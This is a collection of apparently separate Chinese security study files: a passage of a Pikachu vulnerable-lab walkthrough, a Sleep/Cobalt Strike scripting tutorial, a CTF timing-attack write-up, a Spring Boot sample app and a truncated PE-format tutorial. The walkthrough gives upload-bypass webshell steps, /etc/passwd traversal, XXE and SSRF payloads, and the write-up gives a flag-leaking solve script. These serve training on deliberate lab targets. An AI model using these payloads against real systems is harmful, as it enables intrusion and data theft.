- JPEG 图形 .ipeg,.jpg image/jpeg - au 声音文件 .au audio/basic - MIDI 音乐文件 mid,.midi audio/midi,audio/x-midi - RealAudio 音乐文件 .ra, .ram audio/x-pn-realaudio - MPEG 文件 .mpg,.mpeg video/mpeg - AVI 文件 .avi video/x-msvideo - GZIP 文件 .gz application/x-gzip - TAR 文件 .tar application/x-tar Internet 中有一个专门组织 IANA 来确认标准的 MIME 类型,但 Internet 发展的太快,很多应用程序等不及 IANA 来确认他们使用的 MIME 类型为标准类型.因此他们使用在类别中以 x- 开头的方法标识这个类别还没有成为标准,例如:x-gzip,x-tar 等.事实上这些类型运用的很广泛,已经成为了事实标准.只要客户机和服务器共同承认这个 MIME 类型,即使它是不标准的类型也没有关系,客户程序就能根据 MIME 类型,采用具体的处理手段来处理数据.而Web服务器和浏览器(包括操作系统)中,缺省都设置了标准的和常见的 MIME 类型,只有对于不常见的 MIME 类型,才需要同时设置服务器和客户浏览器,以进行识别. 由于 MIME 类型与文档的后缀相关,因此服务器使用文档的后缀来区分不同文件的 MIME 类型,服务器中必须定义文档后缀和 MIME 类型之间的对应关系.而客户程序从服务器上接收数据的时候,它只是从服务器接受数据流,并不了解文档的名字,因此服务器必须使用附加信息来告诉客户程序数据的 MIME 类型.服务器在发送真正的数据之前,就要先发送标志数据的 MIME 类型的信息,这个信息使用 Content-type 关键字进行定义,例如对于 HTML 文档,服务器将首先发送以下两行 MIME 标识信息,这个标识并不是真正的数据文件的一部分. Content-type: text/html 注意,第二行为一个空行,这是必须的,使用这个空行的目的是将 MIME 信息与真正的数据内容分隔开. **服务器端核心代码** ```php if(isset($_POST['submit'])){ // var_dump($_FILES); $mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断. $save_path='uploads';//指定在当前目录建立一个目录 $upload=upload_sick('uploadfile',$mime,$save_path);//调用函数 if($upload['return']){ $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>"; }else{ $html.="<p class=notice>{$upload['error']}</p>"; } }s ``` **漏洞利用** 这里分别上传一个图片和一个 txt 文本,用 burp 进行抓包,分别观察两种不同的 Content-Type 1. Content-Type: image/jpeg 2. Content-Type: text/plain 这里将 txt 的 Content-Type 改为图片的 Content-Type ,测试,成功上传 ### getimagesize **服务器端核心代码** ```php if(isset($_POST['submit'])){ $type=array('jpg','jpeg','png');//指定类型 $mime=array('image/jpg','image/jpeg','image/png'); $save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹 $upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数 if($upload['return']){ $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['save_path']}</p>"; }else{ $html.="<p class=notice>{$upload['error']}</p>"; } } ``` **漏洞利用** 这里可以利用文件包含+文件头欺骗进行 getshell 做个图片马 `copy 11111.png/b+1.php/a shell5.png` burp转发上传 蚁剑连接 --- ## Over_Permission 如果使用 A 用户的权限去操作 B 用户的数据,A 的权限小于 B 的权限,如果能够成功操作,则称之为越权操作. 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的. 一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞. 因此,在在权限管理中应该遵守: 1. 使用最小权限原则对用户进行赋权; 2. 使用合理(严格)的权限校验规则; 3. 使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件 ### 水平越权 **漏洞利用** 观察链接,发现用户名是通过 URL 提交的,直接修改 URL 里的用户名可以访问其他用户的信息 ### 垂直越权 **漏洞利用** 用 admin 登录一下,创建个账号 123456,然后退出,账号用 pikachu 登录,将之前创建账号 123 的请求在 burp 里转发,用 pikachu 的 cookie 覆盖之前 admin 的 cookie,可以发现 123 被重复创建了 --- ## 目录遍历 在 web 功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活. 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件. 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过 `../` 这样的手段让后台打开或者执行一些其他的文件. 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞. 看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下. 需要区分一下的是,如果你通过不带参数的 url(比如:http://xxxx/doc)列出了 doc 文件夹里面所有的文件,这种情况,我们成为敏感信息泄露.而并不归为目录遍历漏洞. **漏洞利用** payload: `http://<IP address !!!>/pikachu/vul/dir/dir_list.php?title=../../../../../../../../../1.txt` linux payload: `http://<IP address !!!>/pikachu/vul/dir/dir_list.php?title=../../../../../../../../../etc/passwd` --- ## 敏感信息泄露 由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到. 比如: - 通过访问 url 下的目录,可以直接列出目录下的文件列表; - 输入错误的 url 参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息; - 前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等; 类似以上这些情况,我们成为敏感信息泄露.敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至"离谱"的敏感信息泄露也会直接造成严重的损失. 因此,在 web 应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理. **漏洞利用** 直接 F12 查看源代码 --- ## PHP反序列化 在理解这个漏洞前,你需要先搞清楚 php 中 `serialize()` ,`unserialize()` 这两个函数. **序列化 serialize()** 序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象: ```php <?php class S{ public $test="pikachu"; } $s=new S(); //创建一个对象 serialize($s); //把这个对象进行序列化 print_r(serialize($s)); ?> 序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";} O:代表object 1:代表对象名字长度为一个字符 S:对象的名称 1:代表对象里面有一个变量 s:数据类型 4:变量名称的长度 test:变量名称 s:数据类型 7:变量值的长度 pikachu:变量值 ``` **反序列化 unserialize()** 就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用. ```php $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}"); echo $u->test; //得到的结果为pikachu ``` 序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题 常见的几个魔法函数: ``` __construct() 当一个对象创建时被调用 __destruct() 当一个对象销毁时被调用 __toString() 当一个对象被当作一个字符串使用 __sleep() 在对象在被序列化之前运行 __wakeup 将在序列化之后立即被调用 ``` 漏洞举例: ```php class S{ var $test = "pikachu"; function __destruct(){ echo $this->test; } } $s = $_GET['test']; @$unser = unserialize($a); payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";} ``` **服务器端核心代码** ```php class S{ var $test = "pikachu"; function __construct(){ echo $this->test; } } if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="<p>大兄弟,来点劲爆点儿的!</p>"; }else{ $html.="<p>{$unser->test}</p>"; } } ``` **漏洞利用** 首先需要 PHP 中自己定义一个变量,并将该变量写为一个恶意代码并将其序列化,访问写好的 php 文件并查看源代码将序列化好的代码复制下来作为 payload 在线反序列化工具: https://www.w3cschool.cn/tools/index?name=unserialize payload: `O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}` 回到平台提交 payload 就会触发弹窗 --- ## XXE **什么是 XML 外部实体** 如果你了解 XML,你可以把 XML 理解为一个用来定义数据的东东.因此,两个采用不同技术的系统可以通过 XML 进行通信和交换数据. 比如,下图就是一个用来描述一个职工的 XML 文档样本,其中的’name’,'salary’,'address’ 被称为 XML 的元素. 有些 XML 文档包含 system 标识符定义的"实体",这些 XML 文档会在 DOCTYPE 头部标签中呈现.这些定义的’实体’能够访问本地或者远程的内容.比如,下面的 XML 文档样例就包含了XML ‘实体’. 在上面的代码中, XML 外部实体 ‘entityex’ 被赋予的值为:file://etc/passwd.在解析 XML 文档的过程中,实体’entityex’的值会被替换为 URI(file://etc/passwd)内容值(也就是 passwd 文件的内容). 关键字’SYSTEM’会告诉 XML 解析器,’entityex’实体的值将从其后的 URI 中读取.因此,XML 实体被使用的次数越多,越有帮助. **XXE** XXE -"xml external entity injection"既"xml外部实体注入漏洞".有了 XML 实体,关键字’SYSTEM’会令 XML 解析器从 URI 中读取内容,并允许它在 XML 文档中被替换.因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现. 简单来说,攻击者强制 XML 解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件).比如,下面的代码将获取系统上 folder/file 的内容并呈献给用户. 概括一下就是"攻击者通过向服务器注入指定的 xml 实体内容,从而让服务器按照指定的配置进行执行,导致问题",也就是说服务端接收和解析了来自用户端的 xml 数据,而又没有做严格的安全控制,从而导致 xml 外部实体注入. **服务器端核心代码** ```PHP if(isset($_POST['submit']) and $_POST['xml'] != null){ $xml =$_POST['xml']; // $xml = $test; $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT); if($data){ $html.="<pre>{$data}</pre>"; }else{ $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>"; } } ``` **漏洞利用** 输入 paylaod,就会弹出设置的值 ```XML <?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker "admin"> ]> <name>&hacker;</name> ``` payload,请先确定目标路径有这个文件 ```xml <?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY aaa SYSTEM "file:///c:/1.txt">]> <name>&aaa;</name> ``` 在 linux 下还可以输入这样的 payload ```XML <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "expect://ifconfig"> ]> <x>&f;</x> ``` --- ## URL重定向 不安全的 url 跳转问题可能发生在一切执行了 url 地址跳转的地方. 如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的 url 地址)参数作为了跳转的目的地,而又没有做判断的话 就可能发生"跳错对象"的问题. url 跳转比较直接的危害是: 钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站,一般的流程是,跳转漏洞-->钓鱼页面-->提交用户名密码-->跳转回来 **服务器端核心代码** ```php if(isset($_GET['url']) && $_GET['url'] != null){ $url = $_GET['url']; if($url == 'i'){ $html.="<p>好的,希望你能坚持做你自己!</p>"; }else { header("location:{$url}"); } } ``` **漏洞利用** payload: `http://<IP address !!!>/pikachu/vul/urlredirect/urlredirect.php?url=https://www.baidu.com` --- ## SSRF 其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据 数据流:攻击者----->服务器---->目标地址 根据后台使用的函数的不同,对应的影响和利用方法又有不一样 PHP 中下面函数的使用不当会导致 SSRF: - file_get_contents() - fsockopen() - curl_exec() 如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤. ### SSRF(curl) **服务器端核心代码** ```php if(isset($_GET['url']) && $_GET['url'] != null){ //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF $URL = $_GET['url']; $CH = curl_init($URL); curl_setopt($CH, CURLOPT_HEADER, FALSE); curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE); $RES = curl_exec($CH); curl_close($CH) ; //ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端. //除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet //curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP echo $RES; } ``` 扩展阅读: [PHP中使用CURL实现GET和POST请求](https://www.cnblogs.com/CHEUNGKAMING/p/5717429.html) **漏洞利用** 观察 url: `http://<IP address !!!>/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php` 看起来就像远程包含漏洞一样,尝试构造 payload: `http://<IP address !!!>/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com` SSRF 利用方式有很多,比较常见的是服务端请求其他网站,一种是探测内网敏感信息,还有就是攻击 web 应用,主要是 strust2 远程命令执行,还有一些中间件的 getshell. payload: `http://<IP address !!!>/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/1.txt` payload: `http://<IP address !!!>/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:80/info` ### SSRF(file_get_content) **服务器端核心代码** ```php if(isset($_GET['file']) && $_GET['file'] !=null){ $filename = $_GET['file']; $str = file_get_contents($filename); echo $str; } ``` - **file_get_contents() 函数** file() 函数把整个文件读入一个数组中.和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串. file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法.如果操作系统支持,还会使用内存映射技术来增强性能. **漏洞利用** 观察 url: `http://<IP address !!!>/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php` 看上去没什么变化,试试构造 payload: `http://<IP address !!!>/pikachu/vul/ssrf/ssrf_fgc.php?file=http://www.baidu.com` payload: `http://<IP address !!!>/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///c:/1.txt`
sec-knowleage
# 0x00 简介 本章简单的介绍一下sleep2.1的语法主要是写给跟我一样不会英语的朋友,用在编写脚本上,大家可以查询文档http://sleep.dashnine.org/download/sleep21manual.pdf 用pdf方便搜索函数,本文只是简单的介绍语法,想深入学习的还请看官方文档,AggressorScripts主要是对CS提供的函数的一些调用所以用不到太多的sleep相关的。 大家也可以下载sleep.jar 来测试语法。 # 0x01 sleep 2.1 基本语法 ### 打印 都先来学习 打印hello word吧 ``` println("Hello World") ``` `load` 加载 `x` 用于调试函数 ``` $ java -jar sleep.jar >> Welcome to the Sleep scripting language > help debug [script] <level> env [functions/other] [regex filter] help [command] interact list load <file> unload <file> tree [key] quit version x <expression> ? <predicate expression> > load 1.txt G:\教程\Cobalt Strike2\img\1.txt loaded successfully. Hello World ``` ### 变量 定义变量用`$` ``` > interact >> Welcome to interactive mode. Type your code and then '.' on a line by itself to execute the code. Type Ctrl+D or 'done' on a line by itself to leave interactive mode. $name = "404"; println($name); . 404 ``` ### 运算 ``` $x = 5 + "1"; $x = 5 - $y; $x = $x * $2; $x = $z / 9.9; $x = $1 % 3; # modulus $x = $1 ** 4; # exponentation ``` 字符串 ``` $x = "Ice" . "cream"; 组合 "Icecream" $x = "abc" x 3; abcabcabc ``` ### 数组 定义一个数组用 `@` ``` @foo = @("a", "b", "c"); $x = @foo[1]; println($x); . b ``` ### Hash Scalars 类似字典 ``` %bar = %(x => "x-ray", y => "yabboes"); ``` ### 函数 定义函数 `sub function` 参数为`$1,$2,$3` ``` sub add { $a = $1; println($a); } ``` ### if-else 条件判断 ``` $nub = 1; $nub2 = 2; if ($nub>$nub2) { println("1>2"); } else { println("1<2"); } ``` ### 逻辑运算符 `and(&&)` `or(||)` ``` sub check { if (($1 > 0) && ($2 <= 10)) { println("$1 is within 0 .. 10"); } else { println("$1 $2 is out of range!!"); } } ``` ### 循环语句 For 循环 ``` for ($total = 99; $total > 0; $total--) { println($total); } ``` while 循环 ``` $total = 99; while ($total > 0) { println($total); } ``` Foreach 循环 ``` %data = %(foo => "a", bar => "b", baz => "c", jaz => "d"); foreach $key => $value (%data) { println($key); } ``` # 0x02 sleep 2.1 函数 这里我就不讲了 看官网文档把自己想用什么函数搜索下,不会英语就机翻下,大概就知道了。 # 0x02 文末 ### 本文如有错误,请及时提醒,以免误导他人
sec-knowleage
# Timed Category: Miscellaneous ## Description > Time is of the essence ## Solution Let's connect to the attached service: ```console root@kali:/media/sf_CTFs/technion/Timed# nc ctf.cs.technion.ac.il 4015 $ ls -al Execution Time: 0.006 ``` So this challenge has a similar concept to what we saw in [Bashed](Bashed.md), but instead of returning us the SHA256 of the command's output, we get its execution time. Just like before, our strategy will be to try and leak the flag character by character. For that, we'll need to somehow distinguish between the different characters based on their value. The `sleep` command seems like a great candidate: It simply postpones execution for the duration given to it: ```console root@kali:/media/sf_CTFs/technion/Timed# nc ctf.cs.technion.ac.il 4015 $ sleep 3 Execution Time: 3.005 ``` We can assume that we'll be able to iterate the flag character after character using the same technique we've used in `Bashed`: `grep -h -r cstechnion | cut -c <n>`. So, given a character from the flag, how do we time-encode it? The first solution that comes to mind is to use the character's ASCII value as the duration. But, this means that if the flag contains a `z`, we'll have to wait 122 seconds for just this character! We can try to subtract `chr(' ') = 32` from the ASCII value, given that space is the first printable character that we'd expect to see in the flag, but that still leaves us with almost 90 seconds for the worst cases. Instead, we'll use a double loop. For each character location we'll iterate all the possible values for printable characters, and sleep for one second if we hit the correct character. Code: ```python from pwn import * import string import itertools def get_timing(r, commnad): r.sendlineafter("$ ", commnad) output = r.recvline() return output.decode("ascii").strip() def connect(): return remote("ctf.cs.technion.ac.il", 4015) def get_flag(): flag = "" r = connect() with log.progress('Leaking flag... ') as p: while True: try: for i in itertools.count(start = len(flag) + 1): p.status(f"Brute-forcing character #{i}, partial flag: {flag}") for ascii_val in range(ord(' '), ord("~")): out = get_timing(r, f"if [ {ascii_val} -eq $(grep -h -r cstechnion | cut -c {i} | tr -d '\\n' | od -A n -t d1 | xargs | cut -d ' ' -f1) ]; then sleep 1; fi") out = out.replace("Execution Time: ", "") if out[0] == '1': flag += chr(ascii_val) break else: raise RuntimeError("Can't find flag") if flag[-1] == "}": return flag except EOFError: log.info("Disconnected from server, reconnecting...") log.info(f"Flag so far: {flag}") r = connect() flag = get_flag() log.success(f"Flag: {flag}") ``` Output: ```console root@kali:/media/sf_CTFs/technion/Timed# python3 solve.py [+] Opening connection to ctf.cs.technion.ac.il on port 4015: Done [+] Leaking flag... : Done [*] Disconnected from server, reconnecting... [*] Flag so far: cstec [+] Opening connection to ctf.cs.technion.ac.il on port 4015: Done [*] Disconnected from server, reconnecting... [*] Flag so far: cstechnion [+] Opening connection to ctf.cs.technion.ac.il on port 4015: Done [*] Disconnected from server, reconnecting... [*] Flag so far: cstechnion{t1m1n [+] Opening connection to ctf.cs.technion.ac.il on port 4015: Done [*] Disconnected from server, reconnecting... [*] Flag so far: cstechnion{t1m1ng_1s_3 [+] Opening connection to ctf.cs.technion.ac.il on port 4015: Done [*] Disconnected from server, reconnecting... [*] Flag so far: cstechnion{t1m1ng_1s_3very7h [+] Opening connection to ctf.cs.technion.ac.il on port 4015: Done [+] Flag: cstechnion{t1m1ng_1s_3very7h1ng} ``` Flag: `cstechnion{t1m1ng_1s_3very7h1ng}`
sec-knowleage
/* * Copyright 2015-2018 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package example; import example.users.Password; import example.users.UserManagement; import example.users.Username; import java.util.stream.IntStream; import javax.annotation.PostConstruct; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.context.annotation.Bean; import org.springframework.data.domain.Pageable; import org.springframework.data.web.config.EnableSpringDataWebSupport; import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; import org.springframework.security.crypto.password.PasswordEncoder; /** * Central Spring Boot application class to bootstrap the application. Excludes Spring Security auto-configuration as we * don't need it for the example but only want to use a {@link PasswordEncoder} (see {@link #passwordEncoder()}). * <p> * Spring Data web support is transparently activated by Boot for you. In case you want to manually activate it, use * {@link EnableSpringDataWebSupport}. The core aspects of the enabled functionality shown in this example are: * <ol> * <li>Automatic population of a {@link Pageable} instances from request parameters (see * {@link example.users.web.UserController#users(Pageable)})</li> * <li>The ability to use proxy-backed interfaces to bind request payloads (see * {@link example.users.web.UserController.UserForm})</li> * </ol> * * @author Oliver Gierke * @author Mark Paluch */ @SpringBootApplication public class Application { public static void main(String... args) { SpringApplication.run(Application.class, args); } @Autowired UserManagement userManagement; /** * Creates a few sample users. */ @PostConstruct public void init() { IntStream.range(0, 41).forEach(index -> { userManagement.register(new Username("user" + index), Password.raw("foobar")); }); } /** * A Spring Security {@link PasswordEncoder} to encrypt passwords for newly created users, used in * {@link UserManagement}. * * @return */ public @Bean PasswordEncoder passwordEncoder() { return new BCryptPasswordEncoder(); } }
sec-knowleage
### PE 简介 PE 文件的全称是 Portable Executable ,意为可移植的可执行的文件,常见的EXE、DLL、OCX、SYS、COM都是PE 文件,PE 文件是微软Windows操作系统上的程序文件,可能是间接被执行,如DLL)。 一个 32-bits 的 PE 文件布局如下图所示: ```text +-------------------------------+ \ | MS-DOS MZ header | | +-------------------------------+ | | MS-DOS Real-Mode Stub program | | +-------------------------------+ | | PE Signature | | -> PE file header +-------------------------------+ | | IMAGE_FILE_HEADER | | +-------------------------------+ | | IMAGE_OPTIONAL_HEADER | | +-------------------------------+ / | section header #1 | +-------------------------------+ | section header #2 +------------------------- : : +------------------------------+ | section #1 | +------------------------------+ | section #2 +-------------------- : : ``` 接下来将会以一个 32-bit 的 PE 文件作为标本介绍一下 PE 文件。 ```c // 示例代码 test.c #include <stdio.h> int main(){ printf("Hello, PE!\n"); return 0; } ``` **通过 `Devcpp` 软件的 `TDM-GCC 4.9.2 32-bit Release` 方式编译文件生成 `test.exe`,作为示例文件。** ### PE 文件常用术语及其含义 - **`映像文件` 因为 PE 文件通常需要加载到内存中才能执行,相当于内存中的映像,所以 PE 文件也叫做映像文件。** - **`RVA` 相对虚拟地址,映像文件在虚拟内存中相对于加载基址的偏移。** - **`VA` 虚拟地址,映像文件在虚拟内存中的地址。** - **`FOA` 文件偏移地址,映像文件在磁盘文件中相对于文件开头的偏移。** 因为不论是在磁盘文件上,或是在虚拟内存中,数据相对于其所在节的相对偏移是固定的,据此可以实现 RVA 与 FOA 之间的转换,即`RVA - 节区RVA = FOA - 节区FOA`。 假设某一个属于 .data 节的数据的 RVA 是 0x3100,.data 节的 节区RVA 为 0x3000,那么该数据相对于 .data 节的相对偏移就是 0x100。而 .data 节在的 节区FOA 为 0x1C00,那么该数据在磁盘文件中的 FOA 就是 0x1D00。完整的计算公式是:`FOA = 节区FOA + (RVA - 节区RVA)`。如果该映像文件的加载基址为0x40000000,那么该数据的 VA 就是 0x40003100。 ### PE文件头解释 PE 文件的最开始便是 PE 文件头,它由 `MS-DOS 文件头` 和 `IMAGE_NT_HEADERS` 结构体组成。 ### MS-DOS 文件头解释 `MS-DOS 文件头` 包含 `IMAGE_DOS_HEADER` 和 `DOS Stub` 两个部分。 `IMAGE_DOS_HEADER` 结构体的定义如下: ```c typedef struct _IMAGE_DOS_HEADER { WORD e_magic; // "MZ" WORD e_cblp; WORD e_cp; WORD e_crlc; WORD e_cparhdr; WORD e_minalloc; WORD e_maxalloc; WORD e_ss; WORD e_sp; WORD e_csum; WORD e_ip; WORD e_cs; WORD e_lfarlc; WORD e_ovno; WORD e_res[4]; WORD e_oemid; WORD e_oeminfo; WORD e_res2[10]; LONG e_lfanew; // NT 头相对于文件起始处的偏移 } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; ``` `IMAGE_DOS_HEADER` 结构体中有 2 个重要成员: - **`e_magic` 单字。DOS 签名 "4D5A",即 ASCII 值 "MZ"。所有 PE 文件的开头都有 DOS 签名。** - **`e_lfanew` 单字。`IMAGE_NT_HEADER`相对于文件起始处的偏移。** `IMAGE_DOS_HEADER` 结构体后紧接着是 `DOS Stub`,它的作用很简单,当系统为 MS-DOS 环境时,输出 `This program cannot be run in DOS mode.` 并退出程序,表明该程序不能在 MS-DOS 环境下运行。这使得所有的 PE 文件都对 MS-DOS 环境兼容。利用该特性可以创建出一个在 MS-DOS 和 Windows 环境中都能运行的程序,在 MS-DOS 中执行 16-bit MS-DOS 代码,在 Windows 中执行 32-bit Windows 代码。 ### PE IMAGE_NT_HEADERS解释 `IMAGE_NT_HEADERS` 结构体,俗称 NT 头。紧跟在 `DOS Stub` 之后,其定义如下: ```c typedef struct _IMAGE_NT_HEADERS { DWORD Signature; /* +0000h PE 标识 */ IMAGE_FILE_HEADER FileHeader; /* +0004h PE 标准头 */ IMAGE_OPTIONAL_HEADER32 OptionalHeader; /* +0018h PE 可选头 */ } IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32; ``` ### PE Signature解释 NT 头的第一个成员是`PE Signature`,它是一个4字节大小的ASCII码字符串 `PE\0\0`,用于指明当前文件是一个 PE 格式的映像文件。其位置可以通过 `IMAGE_DOS_HEADER` 的 `e_lfanew` 成员的值确定。 ### IMAGE_FILE_HEADER解释 `PE Signature` 后紧跟着是 `IMAGE_FILE_HEADER` 结构体,又称作 `COFF 头(标准通用文件格式头)`。其定义如下: ```c typedef struct _IMAGE_FILE_HEADER { WORD Machine; /* +0004h 目标机器类型 */ WORD NumberOfSections; /* +0006h PE 中节的数量 */ DWORD TimeDateStamp; /* +0008h 时间戳 */ DWORD PointerToSymbolTable; /* +000ch 指向符号表的指针 */ DWORD NumberOfSymbols; /* +0010h 符号表中符号数目 */ WORD SizeOfOptionalHeader; /* +0012h 可选头的大小 */ WORD Characteristics; /* +0014h 文件属性标志 */ } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; ``` 接下来依次对每一个字段做出解释: - **`Machine` 单字。用于指明 CPU 类型。详细了解所支持的 CPU 类型请参考 [微软 PE 格式 COFF 文件头 Machine 类型](https://docs.microsoft.com/zh-cn/windows/win32/debug/pe-format?redirectedfrom=MSDN#machine-types)。** - **`NumberOfSections` 单字。文件中存在的节区数量。PE 文件将代码、数据、资源的依据属性分类到不同节区中存储。** - `TimeDateStamp` 双字。低 32 位表示从 1970 年 1 月 1 日 00:00 到文件创建时经过的秒数。 - `PointerToSymbolTable` 双字。符号表的文件偏移。如果不存在符号表,其值为 0。 - `NumberOfSymbols` 双字。该字段表示符号表中的符号数量。由于字符串表紧跟在符号表之后,所有能通过该值定位字符串表。 - **`SizeOfOptionalHeader` 单字。表示可选头的大小。在 32-bit 机器上默认是 0x00E0,在 64-bit 机器上默认是 0x00F0。** - **`Characteristics` 单字。用于标识文件属性,以 bit OR 方式组合。**下面是一些已定义的文件属性标志: ```c // 文件属性标志 #define IMAGE_FILE_RELOCS_STRIPPED 0x0001 // 表示文件不包含重定位信息,只能在原定的基址加载。如果原定基址不可用,加载器会报出错误 #define IMAGE_FILE_EXECUTABLE_IMAGE 0x0002 // 表示文件可执行,如果该位未设置,意味着存在链接器错误 #define IMAGE_FILE_LINE_NUMS_STRIPPED 0x0004 // 不存在行信息 #define IMAGE_FILE_LOCAL_SYMS_STRIPPED 0x0008 // 不存在符号信息 #define IMAGE_FILE_AGGRESSIVE_WS_TRIM 0x0010 // 已废弃 #define IMAGE_FILE_LARGE_ADDRESS_AWARE 0x0020 // 应用可处理大于 2GB 的地址 #define IMAGE_FILE_BYTES_REVERSED_LO 0x0080 // 小尾存储。已废弃 #define IMAGE_FILE_32BIT_MACHINE 0x0100 // 基于 32-bit 体系结构 #define IMAGE_FILE_DEBUG_STRIPPED 0x0200 // 不存在调试信息 #define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP 0x0400 // 如果映像文件在可移动介质上,完全加载并复制到内存交换文件中 #define IMAGE_FILE_NET_RUN_FROM_SWAP 0x0800 // 如果映像文件在网络介质上,完全加载并复制到内存交换文件中 #define IMAGE_FILE_SYSTEM 0x1000 // 映像文件是系统文件 #define IMAGE_FILE_DLL 0x2000 // 映像文件是动态链接库文件 #define IMAGE_FILE_UP_SYSTEM_ONLY 0x4000 // 文件只能在单处理器机器上运行 #define IMAGE_FILE_BYTES_REVERSED_HI 0x8000 // 大尾存储(已废弃) ``` 示例程序的 `IMAGE_FILE_HEADER` 如下: ```text // 示例程序 IMAGE_FILE_HEADER RVA Value Description ---------------------------------------------------- 00000084 014C 机器类型 00000086 000F 节区数量 00000088 5D88E2A6 时间戳 0000008c 00012C00 符号表偏移 00000090 000004E4 符号数量 00000094 00E0 可选头大小 00000096 0107 文件属性 0001 IMAGE_FILE_RELOCS_STRIPPED 0002 IMAGE_FILE_EXECUTABLE_IMAGE 0004 IMAGE_FILE_LINE_NUMS_STRIPPED 0100 IMAGE_FILE_32BIT_MACHINE ``` ### IMAGE_OPTIONAL_HEADER解释 之所以`IMAGE_OPTIONAL_HEADER` 叫做可选头,是因为对于目标文件,它没有任何作用,只是平白增加了目标文件的大小;但对于映像文件来说,它提供了加载时必需的信息。定义如下: ```c typedef struct _IMAGE_OPTIONAL_HEADER { WORD Magic; /* +0018h 魔数 */ BYTE MajorLinkerVersion; /* +001ah 链接器主要版本号 */ BYTE MinorLinkerVersion; /* +001bh 链接器次要版本号 */ DWORD SizeOfCode; /* +001ch 所有含代码的节的总大小 */ DWORD SizeOfInitializedData; /* +0020h 所有含已初始化数据的节的总大小 */ DWORD SizeOfUninitializedData; /* +0024h 所有含未初始化数据的节的总大小 */ DWORD AddressOfEntryPoint; /* +0028h 程序入口点RVA */ 